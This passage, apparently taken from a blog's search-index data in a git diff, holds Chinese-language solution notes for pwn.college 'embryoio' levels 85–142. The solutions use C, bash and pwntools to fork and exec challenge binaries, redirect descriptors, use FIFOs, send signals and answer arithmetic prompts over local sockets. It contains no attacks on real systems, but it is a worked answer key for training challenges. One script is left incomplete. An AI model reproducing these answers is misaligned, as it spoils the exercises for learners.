printf("我是父进程\\n");                wait(NULL);        }        return 0;}\n\nlevel85#include <stdio.h>#include <unistd.h>#include<stdlib.h>void pwncollege(char* argv[],char *env[]){        chdir("/tmp/uejsun");        execve("/challenge/embryoio_level85",argv,env);        return ;} int main(int argc,char* argv[],char* env[]){        pid_t fpid;        fpid=fork();        if(fpid<0)                printf("error in fork!\\n");        else if (fpid==0){                printf("我是子进程\\n");                pwncollege(argv,env);        }        else{                printf("我是父进程\\n");                wait(NULL);        }        return 0;}\n\nlevel86脚本跑起来之后输入数字即可\nlevel87不会写脚本,直接手撸了,还好不多\nlevel88/89#include <stdio.h>#include <unistd.h>#include<stdlib.h>void pwncollege(char* argv[],char *env[]){        char *newenv1[400]={"/tmp/rciroo",NULL};        execve("/challenge/embryoio_level88",newenv1,env);        return ;}int main(int argc,char* argv[],char* env[]){        pid_t fpid;        fpid=fork();        if(fpid<0)                printf("error in fork!\\n");        else if (fpid==0){                printf("我是子进程\\n");                pwncollege(argv,env);        }        else{                printf("我是父进程\\n");                wait(NULL);        }        return 0;}\n\nlevel94先创建一个 fd=70 的描述符,然后读重定向给 stdin:\n$cat sc2.shwvrrmdmh$exec 70<sc2.sh$bash sc.sh 0<&70\n\nlevel97bash sc.shkill -SIGUSR2 2346\n\nlevel99python 启动后做个计算就行了。\nlevel100from pwn import *p=process("/challenge/embryoio_level100")for i in range(5):    p.recvuntil("CHALLENGE! Please send the solution for: ")    data=p.recv()    p.sendline(str(eval(data)))p.interactive()\n\nlevel102注意,这里的 sleep 是必须的,因为父进程提前结束会让子进程被根进程接管,导致父进程不是 python,过不去题目的检查:\nimport osimport timepid = os.fork()if pid > 0:    print("父进程,子进程的PID:", pid)    time.sleep(5)else:    print("子进程,父进程的PID:", os.getppid())    os.execve('/challenge/embryoio_level102', ['jvuwqe'], {})\n\nlevel103fifo 管道的使用。\nmkfifo testfecho ndvbtdxa > testf\n\n另外开个窗口用 python 去跑程序:\npython3 sc.py < testf\n\nlevel104/105104 跟上一题差不多,就是重定向一下输出而已。105 就是把两个都重定向一下\nlevel106和前面的有点不太一样。先写个 python 去跑程序:\nimport subprocessfd1=open("testf","r")fd2=open("testf2","w")p=subprocess.run("/challenge/embryoio_level106",stdin=fd1,stdout=fd2)\n\n然后另外开一个终端:\ncat < testf2 &cat > testf\n\n这里不能把重定向去掉,比如另外开两个终端分别去 cat 管道文件:\ncat testf2cat testf\n\n这会导致阻塞。看起来像是文件,但实际使用还是要用重定向的方式去用。\nlevel107import subprocessimport osimport timefrom pwn import *context.log_level="debug"fd=os.dup2(102,102)p=subprocess.run("/challenge/embryoio_level107",stdin=102,pass_fds=[0,1,2,102])\n\nlevel110正常启动,然后另外调用 kill 杀掉就行了。\nlevel112/113/115/117/118正常启动就行了,基本上跟之前的操作一样,不过 113 几个算术题另外拿 python 算了一下。\nlevel120换个新方法:\nvoid pwncollege(char* argv[],char *env[]){        dup2(0,103);        execve("/challenge/embryoio_level120",argv,env);        return ;}\n\nlevel123跟之前差不多。\nlevel126要求是脚本执行,但是不会写 bash 所以用通道的方法转给 python 去解决。\nf1=open("./testf","rb")f2=open("./testf2","wb")sum=0for i in range(6):    f1.readline() for i in range(3000):    s=f1.readline()    if sum >=500:        print(s)        print(f1.read())        break    index=s.find(b": ")    if index != -1:        sum+=1        t1=s[index+2:-1]        t2=eval(t1)        print("%d : %d"%(sum,t2))        f2.write(b"%d\\n"%t2)        f2.flush()\n\nlevel128500 个信号,偷个懒,把列表抄过来直接跑:\nimport osimport subprocesssig=['SIGABRT', 'SIGUSR1', 'SIGUSR1', 'SIGUSR2', 'SIGABRT', for i in sig:    code="kill "+"-"+i[3:]+" 5590"    subprocess.run(code,shell=True)\n\n\n不过不知道为什么这道题没办法用上一题的 fifo 文件去传输出,有点奇怪\nlevel131from pwn import *p=process("/challenge/embryoio_level131")for i in range(500):    p.recvuntil("Please send the solution for: ")    p.sendline(str(eval(p.recv())))p.interactive()\n\nlevel133照搬上面\nlevel136fd1=open("testf","r")fd2=open("testf2","w")for i in range(6):    fd1.readline()sum =1for i in range(3000):    line=fd1.readline()    if sum>500:        print(line)        for i in range(5):            print(fd1.readline())        break    if "Please send the solution for: " in line:        temp=line.split(": ")[1]        res=eval(temp)        fd2.write(str(res)+"\\n")        fd2.flush()        print(str(sum)+":"+str(res))        sum+=1    else:        print(line)\n\nlevel138套脚本\nlevel140#include <stdio.h>#include <unistd.h>#include <stdlib.h>#include <string.h>#include <sys/socket.h>#include <arpa/inet.h>#define SERVER_IP "0.0.0.0"#define SERVER_PORT 1210#define BUFFER_SIZE 1024int main() { int sockfd; struct sockaddr_in server_addr; char buffer[BUFFER_SIZE]; char ans[BUFFER_SIZE]; // 创建套接字 sockfd = socket(AF_INET, SOCK_STREAM, 0); if (sockfd == -1) { perror("socket"); exit(EXIT_FAILURE); } // 设置服务器地址 server_addr.sin_family = AF_INET; server_addr.sin_addr.s_addr = inet_addr(SERVER_IP); server_addr.sin_port = htons(SERVER_PORT); // 连接到服务器 if (connect(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr)) == -1) { perror("connect"); exit(EXIT_FAILURE); } while(1) { memset(buffer, 0, BUFFER_SIZE); if (recv(sockfd, buffer, BUFFER_SIZE, 0) == -1) { perror("recv"); exit(EXIT_FAILURE); } if(strlen(buffer)>0) { printf("Received: %s\\n", buffer); if(!memcmp("[TEST] CHALLENGE! Please send the solution",buffer,strlen(("[TEST] CHALLENGE! Please send the solution")))) { memset(ans, 0, BUFFER_SIZE); read(0,ans,BUFFER_SIZE); if (send(sockfd, ans, strlen(ans), 0) == -1) { perror("send"); exit(EXIT_FAILURE); } } } } close(sockfd); return 0;}\n\nlevel141手撸:\nfrom pwn import *p=remote("0.0.0.0",1321)p.interactive()\n\nlevel142#include <stdio.h>#include <unistd.h>#include <stdlib.h>#include <sys/socket.h>#include <arpa/inet.h>#include <string.h>#define SERVER_IP "0.0.0.0"#define SERVER_PORT 1719#define BUFFER_SIZE 1024int pwncollege();int main(){ pwncollege();}int pwncollege() { int sockfd; struct sockaddr_in server_addr; char buffer[BUFFER_SIZE]; char ans[BUFFER_SIZE]; // 创建套接字 sockfd = socket(AF_INET, SOCK_STREAM, 0); if (sockfd == -1) { perror("socket"); exit(EXIT_FAILURE); } // 设置服务器地址 server_addr.sin_family = AF_INET; server_addr.sin_addr.s_addr = inet_addr(SERVER_IP); server_addr.sin_port = htons(SERVER_PORT); // 连接到服务器 if (connect(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr)) == -1) { perror("connect"); exit(EXIT_FAILURE); } while(1) { memset(buffer, 0, BUFFER_SIZE); if (recv(sockfd, buffer, BUFFER_SIZE, 0) == -1) { perror("recv"); exit(EXIT_FAILURE); } if(strlen(buffer)>0) { printf("Received: %s\\n", buffer); if(!memcmp("[TEST] CHALLENGE! Please send the solution",buffer,strlen(("[TEST] CHALLENGE! Please send the solution")))) { memset(ans, 0, BUFFER_SIZE); read(0,ans,BUFFER_SIZE); if (send(sockfd, ans, strlen(ans), 0) == -1) { perror("send"); exit(EXIT_FAILURE); } } } } close(sockfd); return 0;}\n","categories":["CTF题记","Note"],"tags":["pwn"]}] \ No newline at end of file diff --git a/tags/AFL/index.html b/tags/AFL/index.html index 448d10a..c6b6bda 100644 --- a/tags/AFL/index.html +++ b/tags/AFL/index.html @@ -15,7 +15,7 @@ }